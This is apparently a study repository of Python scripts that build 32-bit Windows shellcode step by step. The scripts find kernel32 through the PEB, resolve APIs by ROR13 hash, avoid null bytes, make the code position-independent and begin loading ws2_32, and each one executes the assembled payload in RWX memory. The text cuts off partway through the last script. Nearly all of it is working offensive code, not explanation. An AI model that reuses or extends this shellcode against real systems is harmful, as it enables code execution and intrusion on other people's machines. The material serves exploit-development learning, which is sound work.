15 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 16 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 17 | 18 | " next_module: " # 19 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 20 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 21 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 22 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 23 | " jne next_module ;" # No: try next module. 24 | " ret " # 25 | ) 26 | 27 | # Initialize engine in X86-32bit mode 28 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 29 | 30 | encoding, count = ks.asm(CODE) 31 | print("Encoded %d instructions..." % count) 32 | 33 | sh = b"" 34 | for e in encoding: 35 | sh += struct.pack("B", e) 36 | shellcode = bytearray(sh) 37 | 38 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 39 | ctypes.c_int(len(shellcode)), 40 | ctypes.c_int(0x3000), 41 | ctypes.c_int(0x40)) 42 | 43 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 44 | 45 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 46 | buf, 47 | ctypes.c_int(len(shellcode))) 48 | 49 | print("Shellcode located at address %s" % hex(ptr)) 50 | input("...ENTER TO EXECUTE SHELLCODE...") 51 | 52 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 53 | ctypes.c_int(0), 54 | ctypes.c_int(ptr), 55 | ctypes.c_int(0), 56 | ctypes.c_int(0), 57 | ctypes.pointer(ctypes.c_int(0))) 58 | 59 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/2_find_function.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " sub esp, 0x200 ;" # 11 | " call find_kernel32 ;" # 12 | " call find_function ;" # 13 | 14 | " find_kernel32: " # 15 | " xor ecx, ecx ;" # ECX = 0 16 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 17 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 18 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 19 | 20 | " next_module: " # 21 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 22 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 23 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 24 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 25 | " jne next_module ;" # No: try next module. 26 | " ret ;" # 27 | 28 | " find_function: " # 29 | " pushad ;" # Save all registers 30 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 31 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 32 | " add edi, ebx ;" # Export Table Directory VMA 33 | " mov ecx, [edi+0x18] ;" # NumberOfNames 34 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 35 | " add eax, ebx ;" # AddressOfNames VMA 36 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 37 | 38 | " find_function_loop: " # 39 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 40 | " dec ecx ;" # Decrement our names counter 41 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 42 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 43 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 44 | 45 | " find_function_finished: " # 46 | " popad ;" # Restore registers 47 | " ret ;" # 48 | ) 49 | 50 | # Initialize engine in X86-32bit mode 51 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 52 | 53 | try: 54 | encoding, count = ks.asm(CODE) 55 | except keystone.KsError as e: 56 | print(e) 57 | print(type(e)) 58 | print("Faulty Line: " + str(e.get_asm_count())) 59 | exit(0) 60 | 61 | print("Encoded %d instructions..." % count) 62 | 63 | sh = b"" 64 | for e in encoding: 65 | sh += struct.pack("B", e) 66 | shellcode = bytearray(sh) 67 | 68 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 69 | ctypes.c_int(len(shellcode)), 70 | ctypes.c_int(0x3000), 71 | ctypes.c_int(0x40)) 72 | 73 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 74 | 75 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 76 | buf, 77 | ctypes.c_int(len(shellcode))) 78 | 79 | print("Shellcode located at address %s" % hex(ptr)) 80 | input("...ENTER TO EXECUTE SHELLCODE...") 81 | 82 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 83 | ctypes.c_int(0), 84 | ctypes.c_int(ptr), 85 | ctypes.c_int(0), 86 | ctypes.c_int(0), 87 | ctypes.pointer(ctypes.c_int(0))) 88 | 89 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/3_compute_hash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import numpy, sys 4 | 5 | 6 | def ror_str(byte, count): 7 | binb = numpy.base_repr(byte, 2).zfill(32) 8 | while count > 0: 9 | binb = binb[-1] + binb[0:-1] 10 | count -= 1 11 | return (int(binb, 2)) 12 | 13 | 14 | if __name__ == '__main__': 15 | try: 16 | esi = sys.argv[1] 17 | except IndexError: 18 | print("Usage: %s INPUTSTRING" % sys.argv[0]) 19 | sys.exit() 20 | 21 | # Initialize variables 22 | edx = 0x00 23 | ror_count = 0 24 | 25 | for eax in esi: 26 | edx = edx + ord(eax) 27 | if ror_count < len(esi)-1: 28 | edx = ror_str(edx, 0xd) 29 | ror_count += 1 30 | 31 | print(hex(edx)) -------------------------------------------------------------------------------- /4_shellcode/4_hash_functions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " sub esp, 0x200 ;" # 11 | " call find_kernel32 ;" # 12 | " call find_function ;" # 13 | 14 | " find_kernel32: " # 15 | " xor ecx, ecx ;" # ECX = 0 16 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 17 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 18 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 19 | 20 | " next_module: " # 21 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 22 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 23 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 24 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 25 | " jne next_module ;" # No: try next module. 26 | " ret ;" # 27 | 28 | " find_function: " # 29 | " pushad ;" # Save all registers 30 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 31 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 32 | " add edi, ebx ;" # Export Table Directory VMA 33 | " mov ecx, [edi+0x18] ;" # NumberOfNames 34 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 35 | " add eax, ebx ;" # AddressOfNames VMA 36 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 37 | 38 | " find_function_loop: " # 39 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 40 | " dec ecx ;" # Decrement our names counter 41 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 42 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 43 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 44 | 45 | " compute_hash: " # 46 | " xor eax, eax ;" # NULL EAX 47 | " cdq ;" # NULL EDX 48 | " cld ;" # Clear direction 49 | 50 | " compute_hash_again: " # 51 | " lodsb ;" # Load the next byte from esi into al 52 | " test al, al ;" # Check for NULL terminator 53 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 54 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 55 | " add edx, eax ;" # Add the new byte to the accumulator 56 | " jmp compute_hash_again ;" # Next iteration 57 | 58 | " compute_hash_finished: " # 59 | 60 | " find_function_finished: " # 61 | " popad ;" # Restore registers 62 | " ret ;" # 63 | ) 64 | 65 | # Initialize engine in X86-32bit mode 66 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 67 | 68 | try: 69 | encoding, count = ks.asm(CODE) 70 | except keystone.KsError as e: 71 | print(e) 72 | print(type(e)) 73 | print("Faulty Line: " + str(e.get_asm_count())) 74 | exit(0) 75 | 76 | print("Encoded %d instructions..." % count) 77 | 78 | sh = b"" 79 | for e in encoding: 80 | sh += struct.pack("B", e) 81 | shellcode = bytearray(sh) 82 | 83 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 84 | ctypes.c_int(len(shellcode)), 85 | ctypes.c_int(0x3000), 86 | ctypes.c_int(0x40)) 87 | 88 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 89 | 90 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 91 | buf, 92 | ctypes.c_int(len(shellcode))) 93 | 94 | print("Shellcode located at address %s" % hex(ptr)) 95 | input("...ENTER TO EXECUTE SHELLCODE...") 96 | 97 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 98 | ctypes.c_int(0), 99 | ctypes.c_int(ptr), 100 | ctypes.c_int(0), 101 | ctypes.c_int(0), 102 | ctypes.pointer(ctypes.c_int(0))) 103 | 104 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/5_terminate_function.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " sub esp, 0x200 ;" # 11 | " call find_kernel32 ;" # 12 | " push 0x78b5b983 ;" # TerminateProcess hash 13 | " call find_function ;" # 14 | " xor ecx, ecx ;" # Null ECX 15 | " push ecx ;" # uExitCode 16 | " push 0xffffffff ;" # hProcess 17 | " call eax ;" # Call TerminateProcess 18 | 19 | " find_kernel32: " # 20 | " xor ecx, ecx ;" # ECX = 0 21 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 22 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 23 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 24 | 25 | " next_module: " # 26 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 27 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 28 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 29 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 30 | " jne next_module ;" # No: try next module. 31 | " ret ;" # 32 | 33 | " find_function: " # 34 | " pushad ;" # Save all registers 35 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 36 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 37 | " add edi, ebx ;" # Export Table Directory VMA 38 | " mov ecx, [edi+0x18] ;" # NumberOfNames 39 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 40 | " add eax, ebx ;" # AddressOfNames VMA 41 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 42 | 43 | " find_function_loop: " # 44 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 45 | " dec ecx ;" # Decrement our names counter 46 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 47 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 48 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 49 | 50 | " compute_hash: " # 51 | " xor eax, eax ;" # NULL EAX 52 | " cdq ;" # NULL EDX 53 | " cld ;" # Clear direction 54 | 55 | " compute_hash_again: " # 56 | " lodsb ;" # Load the next byte from esi into al 57 | " test al, al ;" # Check for NULL terminator 58 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 59 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 60 | " add edx, eax ;" # Add the new byte to the accumulator 61 | " jmp compute_hash_again ;" # Next iteration 62 | 63 | " compute_hash_finished: " # 64 | 65 | " find_function_compare: " # 66 | " cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash 67 | " jnz find_function_loop ;" # If it doesn't match go back to find_function_loop 68 | " mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA 69 | " add edx, ebx ;" # AddressOfNameOrdinals VMA 70 | " mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal 71 | " mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA 72 | " add edx, ebx ;" # AddressOfFunctions VMA 73 | " mov eax, [edx+4*ecx] ;" # Get the function RVA 74 | " add eax, ebx ;" # Get the function VMA 75 | " mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad 76 | 77 | " find_function_finished: " # 78 | " popad ;" # Restore registers 79 | " ret ;" # 80 | ) 81 | 82 | # Initialize engine in X86-32bit mode 83 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 84 | 85 | try: 86 | encoding, count = ks.asm(CODE) 87 | except keystone.KsError as e: 88 | print(e) 89 | print(type(e)) 90 | print("Faulty Line: " + str(e.get_asm_count())) 91 | exit(0) 92 | 93 | print("Encoded %d instructions..." % count) 94 | 95 | sh = b"" 96 | for e in encoding: 97 | sh += struct.pack("B", e) 98 | shellcode = bytearray(sh) 99 | 100 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 101 | ctypes.c_int(len(shellcode)), 102 | ctypes.c_int(0x3000), 103 | ctypes.c_int(0x40)) 104 | 105 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 106 | 107 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 108 | buf, 109 | ctypes.c_int(len(shellcode))) 110 | 111 | print("Shellcode located at address %s" % hex(ptr)) 112 | input("...ENTER TO EXECUTE SHELLCODE...") 113 | 114 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 115 | ctypes.c_int(0), 116 | ctypes.c_int(ptr), 117 | ctypes.c_int(0), 118 | ctypes.c_int(0), 119 | ctypes.pointer(ctypes.c_int(0))) 120 | 121 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/6_eliminate_nulls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " add esp, 0xfffffdf0 ;" # Avoid NULL bytes for sub esp, 0x200. 11 | " call find_kernel32 ;" # 12 | " push 0x78b5b983 ;" # TerminateProcess hash 13 | " call find_function ;" # 14 | " xor ecx, ecx ;" # Null ECX 15 | " push ecx ;" # uExitCode 16 | " push 0xffffffff ;" # hProcess 17 | " call eax ;" # Call TerminateProcess 18 | 19 | " find_kernel32: " # 20 | " xor ecx, ecx ;" # ECX = 0 21 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 22 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 23 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 24 | 25 | " next_module: " # 26 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 27 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 28 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 29 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 30 | " jne next_module ;" # No: try next module. 31 | " ret ;" # 32 | 33 | " find_function: " # 34 | " pushad ;" # Save all registers 35 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 36 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 37 | " add edi, ebx ;" # Export Table Directory VMA 38 | " mov ecx, [edi+0x18] ;" # NumberOfNames 39 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 40 | " add eax, ebx ;" # AddressOfNames VMA 41 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 42 | 43 | " find_function_loop: " # 44 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 45 | " dec ecx ;" # Decrement our names counter 46 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 47 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 48 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 49 | 50 | " compute_hash: " # 51 | " xor eax, eax ;" # NULL EAX 52 | " cdq ;" # NULL EDX 53 | " cld ;" # Clear direction 54 | 55 | " compute_hash_again: " # 56 | " lodsb ;" # Load the next byte from esi into al 57 | " test al, al ;" # Check for NULL terminator 58 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 59 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 60 | " add edx, eax ;" # Add the new byte to the accumulator 61 | " jmp compute_hash_again ;" # Next iteration 62 | 63 | " compute_hash_finished: " # 64 | 65 | " find_function_compare: " # 66 | " cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash 67 | " jnz find_function_loop ;" # If it doesn't match go back to find_function_loop 68 | " mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA 69 | " add edx, ebx ;" # AddressOfNameOrdinals VMA 70 | " mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal 71 | " mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA 72 | " add edx, ebx ;" # AddressOfFunctions VMA 73 | " mov eax, [edx+4*ecx] ;" # Get the function RVA 74 | " add eax, ebx ;" # Get the function VMA 75 | " mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad 76 | 77 | " find_function_finished: " # 78 | " popad ;" # Restore registers 79 | " ret ;" # 80 | ) 81 | 82 | # Initialize engine in X86-32bit mode 83 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 84 | 85 | try: 86 | encoding, count = ks.asm(CODE) 87 | except keystone.KsError as e: 88 | print(e) 89 | print(type(e)) 90 | print("Faulty Line: " + str(e.get_asm_count())) 91 | exit(0) 92 | 93 | print("Encoded %d instructions..." % count) 94 | 95 | sh = b"" 96 | for e in encoding: 97 | sh += struct.pack("B", e) 98 | shellcode = bytearray(sh) 99 | 100 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 101 | ctypes.c_int(len(shellcode)), 102 | ctypes.c_int(0x3000), 103 | ctypes.c_int(0x40)) 104 | 105 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 106 | 107 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 108 | buf, 109 | ctypes.c_int(len(shellcode))) 110 | 111 | print("Shellcode located at address %s" % hex(ptr)) 112 | input("...ENTER TO EXECUTE SHELLCODE...") 113 | 114 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 115 | ctypes.c_int(0), 116 | ctypes.c_int(ptr), 117 | ctypes.c_int(0), 118 | ctypes.c_int(0), 119 | ctypes.pointer(ctypes.c_int(0))) 120 | 121 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/7_position_independent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " add esp, 0xfffffdf0 ;" # Avoid NULL bytes for sub esp, 0x200. 11 | 12 | " find_kernel32: " # 13 | " xor ecx, ecx ;" # ECX = 0 14 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 15 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 16 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 17 | 18 | " next_module: " # 19 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 20 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 21 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 22 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 23 | " jne next_module ;" # No: try next module. 24 | 25 | " find_function_shorten: " # 26 | " jmp find_function_shorten_bnc ;" # Short jump 27 | 28 | " find_function_ret: " # 29 | " pop esi ;" # POP the return address from the stack 30 | " mov [ebp+0x04], esi ;" # Save find_function address for later usage 31 | " jmp resolve_symbols_kernel32 ;" # 32 | 33 | " find_function_shorten_bnc: " # 34 | " call find_function_ret ;" # Relative CALL with negative offset 35 | 36 | " find_function: " # 37 | " pushad ;" # Save all registers 38 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 39 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 40 | " add edi, ebx ;" # Export Table Directory VMA 41 | " mov ecx, [edi+0x18] ;" # NumberOfNames 42 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 43 | " add eax, ebx ;" # AddressOfNames VMA 44 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 45 | 46 | " find_function_loop: " # 47 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 48 | " dec ecx ;" # Decrement our names counter 49 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 50 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 51 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 52 | 53 | " compute_hash: " # 54 | " xor eax, eax ;" # NULL EAX 55 | " cdq ;" # NULL EDX 56 | " cld ;" # Clear direction 57 | 58 | " compute_hash_again: " # 59 | " lodsb ;" # Load the next byte from esi into al 60 | " test al, al ;" # Check for NULL terminator 61 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 62 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 63 | " add edx, eax ;" # Add the new byte to the accumulator 64 | " jmp compute_hash_again ;" # Next iteration 65 | 66 | " compute_hash_finished: " # 67 | 68 | " find_function_compare: " # 69 | " cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash 70 | " jnz find_function_loop ;" # If it doesn't match go back to find_function_loop 71 | " mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA 72 | " add edx, ebx ;" # AddressOfNameOrdinals VMA 73 | " mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal 74 | " mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA 75 | " add edx, ebx ;" # AddressOfFunctions VMA 76 | " mov eax, [edx+4*ecx] ;" # Get the function RVA 77 | " add eax, ebx ;" # Get the function VMA 78 | " mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad 79 | 80 | " find_function_finished: " # 81 | " popad ;" # Restore registers 82 | " ret ;" # 83 | 84 | " resolve_symbols_kernel32: " 85 | " push 0x78b5b983 ;" # TerminateProcess hash 86 | " call dword ptr [ebp+0x04] ;" # Call find_function 87 | " mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage 88 | 89 | " exec_shellcode: " # 90 | " xor ecx, ecx ;" # Null ECX 91 | " push ecx ;" # uExitCode 92 | " push 0xffffffff ;" # hProcess 93 | " call dword ptr [ebp+0x10] ;" # Call TerminateProcess 94 | ) 95 | 96 | # Initialize engine in X86-32bit mode 97 | ks = Ks(KS_ARCH_X86, KS_MODE_32) 98 | 99 | try: 100 | encoding, count = ks.asm(CODE) 101 | except keystone.KsError as e: 102 | print(e) 103 | print(type(e)) 104 | print("Faulty Line: " + str(e.get_asm_count())) 105 | exit(0) 106 | 107 | print("Encoded %d instructions..." % count) 108 | 109 | sh = b"" 110 | for e in encoding: 111 | sh += struct.pack("B", e) 112 | shellcode = bytearray(sh) 113 | 114 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 115 | ctypes.c_int(len(shellcode)), 116 | ctypes.c_int(0x3000), 117 | ctypes.c_int(0x40)) 118 | 119 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 120 | 121 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), 122 | buf, 123 | ctypes.c_int(len(shellcode))) 124 | 125 | print("Shellcode located at address %s" % hex(ptr)) 126 | input("...ENTER TO EXECUTE SHELLCODE...") 127 | 128 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 129 | ctypes.c_int(0), 130 | ctypes.c_int(ptr), 131 | ctypes.c_int(0), 132 | ctypes.c_int(0), 133 | ctypes.pointer(ctypes.c_int(0))) 134 | 135 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1)) -------------------------------------------------------------------------------- /4_shellcode/8_load_ws2_32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import ctypes, struct 4 | from keystone import * 5 | 6 | CODE = ( 7 | " start: " # 8 | " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! 9 | " mov ebp, esp ;" # 10 | " add esp, 0xfffffdf0 ;" # Avoid NULL bytes for sub esp, 0x200. 11 | 12 | " find_kernel32: " # 13 | " xor ecx, ecx ;" # ECX = 0 14 | " mov esi,fs:[ecx+30h] ;" # ESI = &(PEB) ([FS:0x30]) 15 | " mov esi,[esi+0Ch] ;" # ESI = PEB->Ldr 16 | " mov esi,[esi+1Ch] ;" # ESI = PEB->Ldr.InInitOrder 17 | 18 | " next_module: " # 19 | " mov ebx, [esi+8h] ;" # EBX = InInitOrder[X].base_address 20 | " mov edi, [esi+20h] ;" # EDI = InInitOrder[X].module_name 21 | " mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next) 22 | " cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00? 23 | " jne next_module ;" # No: try next module. 24 | 25 | " find_function_shorten: " # 26 | " jmp find_function_shorten_bnc ;" # Short jump 27 | 28 | " find_function_ret: " # 29 | " pop esi ;" # POP the return address from the stack 30 | " mov [ebp+0x04], esi ;" # Save find_function address for later usage 31 | " jmp resolve_symbols_kernel32 ;" # 32 | 33 | " find_function_shorten_bnc: " # 34 | " call find_function_ret ;" # Relative CALL with negative offset 35 | 36 | " find_function: " # 37 | " pushad ;" # Save all registers 38 | " mov eax, [ebx+0x3c] ;" # Offset to PE Signature 39 | " mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA 40 | " add edi, ebx ;" # Export Table Directory VMA 41 | " mov ecx, [edi+0x18] ;" # NumberOfNames 42 | " mov eax, [edi+0x20] ;" # AddressOfNames RVA 43 | " add eax, ebx ;" # AddressOfNames VMA 44 | " mov [ebp-4], eax ;" # Save AddressOfNames VMA for later 45 | 46 | " find_function_loop: " # 47 | " jecxz find_function_finished ;" # Jump to the end if ECX is 0 48 | " dec ecx ;" # Decrement our names counter 49 | " mov eax, [ebp-4] ;" # Restore AddressOfNames VMA 50 | " mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name 51 | " add esi, ebx ;" # Set ESI to the VMA of the current symbol name 52 | 53 | " compute_hash: " # 54 | " xor eax, eax ;" # NULL EAX 55 | " cdq ;" # NULL EDX 56 | " cld ;" # Clear direction 57 | 58 | " compute_hash_again: " # 59 | " lodsb ;" # Load the next byte from esi into al 60 | " test al, al ;" # Check for NULL terminator 61 | " jz compute_hash_finished ;" # If the ZF is set, we've hit the NULL term 62 | " ror edx, 0x0d ;" # Rotate edx 13 bits to the right 63 | " add edx, eax ;" # Add the new byte to the accumulator 64 | " jmp compute_hash_again ;" # Next iteration 65 | 66 | " compute_hash_finished: " # 67 | 68 | " find_function_compare: " # 69 | " cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash 70 | " jnz find_function_loop ;" # If it doesn't match go back to find_function_loop 71 | " mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA 72 | " add edx, ebx ;" # AddressOfNameOrdinals VMA 73 | " mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal 74 | " mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA 75 | " add edx, ebx ;" # AddressOfFunctions VMA 76 | " mov eax, [edx+4*ecx] ;" # Get the function RVA 77 | " add eax, ebx ;" # Get the function VMA 78 | " mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad 79 | 80 | " find_function_finished: " # 81 | " popad ;" # Restore registers 82 | " ret ;" # 83 | 84 | " resolve_symbols_kernel32: " 85 | " push 0x78b5b983 ;" # TerminateProcess hash 86 | " call dword ptr [ebp+0x04] ;" # Call find_function 87 | " mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage 88 | " push 0xec0e4e8e ;" # LoadLibraryA hash 89 | " call dword ptr [ebp+0x04] ;" # Call find_function 90 | " mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later usage 91 | " push 0x16b3fe72 ;" # 